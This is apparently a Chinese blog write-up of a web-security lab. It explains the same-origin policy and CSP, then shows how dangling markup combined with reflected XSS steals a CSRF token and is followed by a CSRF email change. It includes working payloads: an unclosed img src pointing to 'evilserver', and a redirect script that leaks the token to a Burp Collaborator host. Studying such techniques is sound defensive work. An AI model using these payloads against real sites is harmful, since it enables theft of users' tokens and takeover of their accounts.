繞過CSP之Dangling markup技術

同源策略(Same Origin Policy)

同源策略是一種約定, 他是瀏覽器最核心也是最基本的安全功能。如果缺少了同源策略, 瀏覽器的正常功能可能會受到影響, 比如XSS、CSRF攻擊等。

瀏覽器的同源策略, 限制了來自不同源的"document" 或者腳本, 對當前的"document"讀取或設置某些屬性。.

這一策略極其重要, 設想一下, 如果沒有同源策略, 可能 example1.com 的一段JavaScript腳本, 在example2.com未曾加載此腳本時, 也可以隨意塗改example2.com的頁面, 爲了不讓瀏覽器的頁面行爲發生混亂, 瀏覽器增加了"Origin"(源)這一概念, 來自不同Origin的對象無法相互干擾。

 

CSP(Content-Security-Policy)

在Firefox4中推出了CSP(Content-Security-Policy)。這一策略的做法是由服務器端返回一個HTTP頭, 並在其中描述頁面應該遵守的安全策略:

X-Content-Security-Policy: allow 'self' *.example.com

瀏覽器將信任來自其子域以及example.com下的內容。

又如:

X-Content-Security-Policy: allow 'self'; img-src *; script-src www.example.com

瀏覽器除了信任自身的來源以外, 還可以加載任意域的圖片, 來自www.example.com的腳本, 其他的則一律拒絕。

CSP的設計無疑是出色的, 但是CSP的規則配置較爲複雜, 在頁面較多的情況下, 很難一個個配置起來, 且後期的維護成本也非常巨大, 從而導致CSP未能得到很好的推廣。

 

Dangling markup技術

Dangling markup技術, 是一種無需腳本即可竊取頁面內容的技術,它使用圖像等資源(結合CSP運行的策略)將數據發送到攻擊者控制的遠程位置。當反射型XSS不工作或被內容安全策略(CSP)阻止時,它非常有用。其思想是插入一些未完成狀態的部分HTML,例如圖像標記的src屬性,頁面上的其餘標記關閉該屬性,但同時將兩者之間的數據(包含竊取頁面的內容)發送到遠程服務器。

例如,我們在反射型XSS注入點上注入這樣一個img標籤:

<img src="https://evilserver/?

則注入點和下一個雙引號的代碼將會發送到攻擊者的 https://evilserver 服務器, 其中被髮送的代碼或者內容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。

 

實戰1

在一個修改用戶郵件的頁面, 目標是完成CSRF修改任意用戶的郵箱到指定的郵箱:

發現html源碼中email參數在URL中可控:

於是成功繞出value屬性的閉合, 但是並不會加載注入的xss代碼:

懷疑可能是由於CSP策略, js腳本被阻斷了:

可以看到CSP策略規定了只能加載子域下的資源以及腳本, 還運行了所有域的圖片資源。

所以剛剛的js代碼就不能加載, 因爲CSP策略只允許加載當前域下的js腳本。

再看看修改郵箱的URL:

是一個POST請求, 提交了email和csrf值, 只要我們能夠竊取用戶的csrf值, 就可以達到任意修改用戶郵箱地址的目的。

思路

1. 先盜取用戶的Anti-Token值

2. 在竊取成功指定用戶的Token後, 發送一個自動POST修改郵箱操作的html頁面給用戶, 從而完成攻擊。

明確思路之後, 首先開始第一點: 

  • 竊取用戶的Anti-Token值

這裏就利用到 Dangling markup技術 配合 反射型XSS漏洞 組合拳了, 

觀察反射型XSS的注入點, 發現注入點下面就有Anti-Token值:

這樣就可以用Dangling markup技術來將Token值發送到攻擊者的服務器上,

具體的做法就是寫一個html頁面, 這個頁面的功能是用Dangling markup技術將Token值發送到攻擊者服務器上, 將這個html頁面發送給受害者即可:

xss1.html

<script>
location='https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email=123%22%3E%3Ctable%20background=%27//vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net?';
</script>

https://acf81f431ed1930580b8083c005e006a.web-security-academy.net/email?email= 爲受害者服務器的反射型XSS注入點;

vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 爲攻擊者的服務器, 竊取的Token將發送到這裏。

爲什麼可以竊取到Token呢?

這就要歸功與Dangling markup技術了, 我們觀察注入之後的網頁源碼:

在background值的後面, 利用了?符合將後面的頁面代碼或者頁面內容都作爲URL的一部分解析了; 同時, 攻擊者服務器vhgd4ppjyxk6pkfjbk3lbmombdh35s.burpcollaborator.net 同步記錄者所有來自任何服務器的請求記錄, 並且! (劃重點) 竊取的內容被作爲參數傳入了URL中, 成爲了解析參數的一部分, 竊取的值將會出現在攻擊者服務器的記錄中!

我們用Burpsuite自帶的 Burp Collaborator client 作爲一個攻擊者服務器, 它會自動記錄來自任何服務器的請求/解析記錄:

加入我們利用剛剛的做法, 在 Burp Collaborator client中就可以看到請求/解析記錄了:

驗證成功後, 就把 ss1.html 發送給受害者, 當受害者點擊後就可以自動竊取該用戶的Token值了:

 

拿到Token值:   EkTfPv60Q6WCl8vmr5y8Y7uceYlZ8w46然後就可以進行第二步

  • 發送一個自動POST修改郵箱操作的html頁面給用戶

這裏我們用Burpsuite自帶的POC生成工具

抓包修改郵箱的包:

自動生成CSRF的POC:

將csrf的值改爲剛剛竊取到的Token值, 並且修改要修改的郵箱爲惡意郵箱;

再選擇自動提交, Regenerate 頁面:

最後將此頁面發送給受害者即可自動完成修改郵箱的攻擊:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章